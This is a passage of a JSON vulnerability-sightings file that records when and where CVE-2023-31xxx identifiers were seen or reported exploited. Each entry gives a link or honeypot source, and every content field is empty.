{"vulnerability": "2023-31", "sightings": [{"uuid": "946578fa-206b-489d-9513-fbc32485c31b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3184", "type": "exploited", "source": "https://www.exploit-db.com/exploits/51513", "content": "", "creation_timestamp": "2023-06-13T00:00:00.000000Z"}, {"uuid": "b176490a-8189-449b-8dd5-4a8581e4c2e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31698", "type": "exploited", "source": "https://www.exploit-db.com/exploits/51476", "content": "", "creation_timestamp": "2023-05-23T00:00:00.000000Z"}, {"uuid": "4a7a9e32-6c6b-4945-a279-d66003ca7ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31279", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687794738561969", "content": "", "creation_timestamp": "2024-12-20T23:41:19.372309Z"}, {"uuid": "89fbc410-f6ea-4b76-a156-098634b1dbd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687817692170093", "content": "", "creation_timestamp": "2024-12-20T23:47:09.640041Z"}, {"uuid": "3e962419-e453-4adf-9fc8-04ff986cc97d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31279", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrmpcfrft2l", "content": "", "creation_timestamp": "2024-12-21T00:15:52.865268Z"}, {"uuid": "83dc3376-2385-49b2-b768-26779d0188c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31280", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrmpeomgw2o", "content": "", "creation_timestamp": "2024-12-21T00:15:55.902049Z"}, {"uuid": "3533bd16-13f9-4073-8056-cf8ec612f3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3185", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulochcyb2n", "content": "", "creation_timestamp": "2025-02-11T02:16:11.056281Z"}, {"uuid": "6e0eab27-f82f-4f6f-9322-f71607190261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31360", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhyvtiau2h", "content": "", "creation_timestamp": "2025-02-11T20:15:51.447971Z"}, {"uuid": "3cdb7983-5772-4891-97c0-fe79fc3850e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31361", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhyyalzm2h", "content": "", "creation_timestamp": "2025-02-11T20:15:53.770262Z"}, {"uuid": "a5d16ee0-fdd2-4501-8719-8b6e6a93afc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31331", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113987443302136316", "content": "", "creation_timestamp": "2025-02-11T21:45:53.657727Z"}, {"uuid": "076dca1b-070e-41f4-b961-a5626d128711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31331", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwophqzgx2s", "content": "", "creation_timestamp": "2025-02-11T22:15:50.915083Z"}, {"uuid": "8bbad65c-263e-41f1-8900-0f615a562025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31343", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113987656887022195", "content": "", "creation_timestamp": "2025-02-11T22:40:12.909367Z"}, {"uuid": "19021873-870f-48f9-bf67-c5424f14b694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113987681780683357", "content": "", "creation_timestamp": "2025-02-11T22:46:32.487339Z"}, {"uuid": "28f6b509-c674-4cb2-a346-e04361e6ed2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhws2dkbmq2a", "content": "", "creation_timestamp": "2025-02-11T23:15:37.066768Z"}, {"uuid": "a232c651-69a0-4572-b8c1-8bd4d7ce4c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31343", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhws2fxn4t2c", "content": "", "creation_timestamp": "2025-02-11T23:15:39.354780Z"}, {"uuid": "0970570b-0a38-452f-9774-e9f3bbd7b11a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhws2iel5i2a", "content": "", "creation_timestamp": "2025-02-11T23:15:41.822516Z"}, {"uuid": "389ec0e3-ffdb-4879-86ca-25b40b9887cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113987938331211664", "content": "", "creation_timestamp": "2025-02-11T23:51:47.380757Z"}, {"uuid": "3b5fc1f5-5e6d-4a72-8adc-bbf4f903237d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwvhgzpwx2x", "content": "", "creation_timestamp": "2025-02-12T00:16:37.732992Z"}, {"uuid": "d5330123-3751-432e-bb89-71dc23259cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31331", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhx4mj55iq2u", "content": "", "creation_timestamp": "2025-02-12T02:24:48.960540Z"}, {"uuid": "dc3b93ae-4bad-466b-86f1-56ba7600880e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhx4mjdonx22", "content": "", "creation_timestamp": "2025-02-12T02:24:50.010671Z"}, {"uuid": "a408c73c-a93d-4e6e-aad8-04f33926e812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhxddazw632v", "content": "", "creation_timestamp": "2025-02-12T04:24:50.573315Z"}, {"uuid": "d01474be-f9e4-42f9-8cb8-9e444455ed40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31276", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113993035646011916", "content": "", "creation_timestamp": "2025-02-12T21:28:06.073903Z"}, {"uuid": "0e8dbb58-c97f-45f3-8f17-47bee368392b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31276", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhz76s3rnx2a", "content": "", "creation_timestamp": "2025-02-12T22:16:04.145278Z"}, {"uuid": "a5000909-6d7d-41ac-8359-f6257b3e7b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31276", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113993354847412869", "content": "", "creation_timestamp": "2025-02-12T22:49:17.083289Z"}, {"uuid": "45b3a174-2b64-4dc7-a607-fd7eccfea148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31276", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhzj6onsjk2a", "content": "", "creation_timestamp": "2025-02-13T01:14:58.102848Z"}, {"uuid": "f06d462b-d388-4376-a1d0-ae6bcf6c36e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "60fd1bdd-e11d-4f6c-a30f-d4a6e2a05302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "12d62f10-644d-4d7d-aa0c-a2c46410915f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31085", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "ea1392c4-9802-4c3a-8e55-638c3925b46c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2023/CVE-2023-31478.yaml", "content": "", "creation_timestamp": "2025-03-25T09:20:26.000000Z"}, {"uuid": "735609e9-3c50-4ba4-8a8e-c79f2b39dd2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llcon5zyew2s", "content": "", "creation_timestamp": "2025-03-26T21:02:10.987438Z"}, {"uuid": "5e086dd8-32d5-4ca2-bf33-28a4456474af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llrrgnha4z2e", "content": "", "creation_timestamp": "2025-04-01T21:02:04.322239Z"}, {"uuid": "52483cc5-1608-45b8-804c-d65c132f38d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-20)", "content": "", "creation_timestamp": "2025-04-20T00:00:00.000000Z"}, {"uuid": "9d9f6c6d-900d-4c27-8369-d8d553871b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-30)", "content": "", "creation_timestamp": "2025-05-30T00:00:00.000000Z"}, {"uuid": "c798e38d-ef83-4fae-a826-92ceb75a8fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "content": "", "creation_timestamp": "2025-07-07T00:00:00.000000Z"}, {"uuid": "0f38b3ef-a781-4aa4-a074-53063d26ee68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "content": "", "creation_timestamp": "2025-07-07T00:00:00.000000Z"}, {"uuid": "95ea2a37-083a-4643-9fe6-4809806cc608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "content": "", "creation_timestamp": "2025-07-07T00:00:00.000000Z"}, {"uuid": "47beaa64-0cb7-4bb0-8cca-61b6bea557cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-31)", "content": "", "creation_timestamp": "2025-05-31T00:00:00.000000Z"}, {"uuid": "a3735812-67eb-4ed0-a867-9e6756205afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31585", "type": "seen", "source": "https://gist.github.com/f1rstb100d/487f27964a28b100bd57f38e144f2d35", "content": "", "creation_timestamp": "2025-05-03T03:00:46.000000Z"}, {"uuid": "471ce942-beeb-42b9-95c7-878db172f726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-31)", "content": "", "creation_timestamp": "2025-05-31T00:00:00.000000Z"}, {"uuid": "0f30eaf1-1c5c-43a0-aef7-7ca7cec78480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-03)", "content": "", "creation_timestamp": "2025-05-03T00:00:00.000000Z"}, {"uuid": "7153ff48-63b9-432f-9ea7-d9d71bbf22a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31585", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loot2ystxlh2", "content": "", "creation_timestamp": "2025-05-08T21:15:09.431142Z"}, {"uuid": "579f86cf-6651-4fa6-b957-fa1bce495441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31585", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq3jjfq2r", "content": "", "creation_timestamp": "2025-05-08T22:32:25.322530Z"}, {"uuid": "fa0188dd-d821-4764-9969-01bd64ac69a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31122", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-133-01", "content": "", "creation_timestamp": "2025-05-13T10:00:00.000000Z"}, {"uuid": "d58dc986-4589-4e4d-adb8-b514f08d2f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31359", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp3e6m53nn2h", "content": "", "creation_timestamp": "2025-05-13T20:47:09.288379Z"}, {"uuid": "67832faf-47b3-446d-8670-e42118a87e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31238", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-11", "content": "", "creation_timestamp": "2025-11-13T11:00:00.000000Z"}, {"uuid": "83aacdb2-be84-4d65-826c-316a72669991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/mobile_mouse_rce.rb", "content": "", "creation_timestamp": "2022-09-28T15:17:23.000000Z"}, {"uuid": "16f8c7c9-c08f-4eea-80f7-56cdd8459824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31742", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:01.000000Z"}, {"uuid": "3a8fdb4f-76d2-4211-a987-57da2f961b70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-12)", "content": "", "creation_timestamp": "2025-09-12T00:00:00.000000Z"}, {"uuid": "79b3e658-cdee-4f11-a1b4-ad8a22a9541f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-07)", "content": "", "creation_timestamp": "2025-11-07T00:00:00.000000Z"}, {"uuid": "5642e59e-82d8-473a-9a0a-0fa5de533295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:01.000000Z"}, {"uuid": "0cea0c0d-9751-4ccd-97fc-e8eedef32136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "811e5e30-f447-4f0e-bae5-2d794c590b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-28)", "content": "", "creation_timestamp": "2025-07-28T00:00:00.000000Z"}, {"uuid": "a1f42a70-e6d9-4c65-9c44-230c6ec0b7b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-28)", "content": "", "creation_timestamp": "2025-07-28T00:00:00.000000Z"}, {"uuid": "d2d170eb-16ae-4ebf-8949-60e4bf8ee3a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-15)", "content": "", "creation_timestamp": "2025-10-15T00:00:00.000000Z"}, {"uuid": "dfba8d21-629d-4141-9b2c-b9132d10ec99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31351", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ly6vyxunuf2p", "content": "", "creation_timestamp": "2025-09-06T19:30:49.928956Z"}, {"uuid": "2995b65f-2963-4d2b-b066-ed9b3c0ffabf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31325", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ly6wbwc3so2p", "content": "", "creation_timestamp": "2025-09-06T19:35:50.138923Z"}, {"uuid": "c4c085e4-5954-4bf5-b828-de4fe5cf6aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ly6wkupogj2d", "content": "", "creation_timestamp": "2025-09-06T19:40:50.603533Z"}, {"uuid": "5551bb9c-e837-499b-857f-8d8e7fc28b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "c78ad134-86cd-4f11-8b71-09f76fb4ce6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "7b00df65-7cb2-4bdc-a3af-053aaf6d1291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31306", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ly6wtt4iys2t", "content": "", "creation_timestamp": "2025-09-06T19:45:50.789555Z"}, {"uuid": "88bac70a-7c2e-4474-8c65-598ea680d6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-30)", "content": "", "creation_timestamp": "2025-07-30T00:00:00.000000Z"}, {"uuid": "c14fc6d2-4946-4e20-9b76-5768f0c57c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "ae6c756b-a769-4124-b003-01315e28fd08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "78e7eeac-4334-46ef-a607-f970ba3f3e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-21)", "content": "", "creation_timestamp": "2025-09-21T00:00:00.000000Z"}, {"uuid": "dadfdb49-3ff3-4a9d-b819-8b034b02fe0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-15)", "content": "", "creation_timestamp": "2025-08-15T00:00:00.000000Z"}, {"uuid": "0990ca40-3bd9-441c-ba5a-e8eea8dbaf04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-17)", "content": "", "creation_timestamp": "2025-08-17T00:00:00.000000Z"}, {"uuid": "ee724870-85e7-491d-ba3e-d44a950f7e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31425", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lyebnq7euba2", "content": "", "creation_timestamp": "2025-09-08T22:43:14.800029Z"}, {"uuid": "bc547d82-6d83-4faa-8681-1e289a70f954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-16)", "content": "", "creation_timestamp": "2025-10-16T00:00:00.000000Z"}, {"uuid": "03eb49da-8ee8-4f5c-9e32-5f08dbaec450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-14)", "content": "", "creation_timestamp": "2025-10-14T00:00:00.000000Z"}, {"uuid": "d246bed4-3028-4ab5-aa2f-697d8da2b0c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "eb4aac6f-cad0-4d76-9713-71cdf861eadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-14)", "content": "", "creation_timestamp": "2025-10-14T00:00:00.000000Z"}, {"uuid": "8cc6add8-f41c-4518-8ae0-679fcb5d08e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "cea4de5b-83e7-40d7-a1d2-209cdd6780ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31126", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwze4vz5pt2b", "content": "", "creation_timestamp": "2025-08-22T21:02:34.897996Z"}, {"uuid": "0aade3f6-25ef-40c7-9696-8501808e55b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 